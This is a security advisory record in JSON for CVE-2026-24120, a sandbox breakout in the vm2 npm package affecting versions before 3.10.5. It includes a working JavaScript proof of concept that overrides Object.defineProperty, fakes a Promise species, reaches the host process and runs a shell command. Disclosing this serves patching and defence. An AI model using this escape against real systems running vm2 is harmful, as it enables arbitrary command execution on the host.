{"id":"GHSA-qvjj-29qf-hp7p","revision":"3680ee81e6294d29977030e4faf056ec","records":[{"revision":"3680ee81e6294d29977030e4faf056ec","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qvjj-29qf-hp7p","aliases":["CVE-2026-24120"],"title":"VM2 Has Sandbox Breakout Through Promise Species","description":"### Summary\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\n\n### PoC\n\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nObject.defineProperty=()=>{};\nasync function fn() {\n    const e = new Error();\n    e.name = Symbol();\n    return e.stack;\n}\np = fn();\np.constructor = {\n    [Symbol.species]: class FakePromise {\n        constructor(executor) {\n            executor(\n                (x) => x,\n                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }\n            )\n        }\n    }\n};\np.then();\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","state":0,"publishedAt":"2026-05-05T16:23:35+00:00","modifiedAt":"2026-05-05T16:41:27.498581+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.10.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5","https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p","https://nvd.nist.gov/vuln/detail/CVE-2026-24120","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.10.5"],"sourceUrl":"https://github.com/advisories/GHSA-qvjj-29qf-hp7p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qvjj-29qf-hp7p","identifiers":["GHSA-qvjj-29qf-hp7p","CVE-2026-24120"]},"retained":false,"historicalAffected":[]}],"coverage":[]}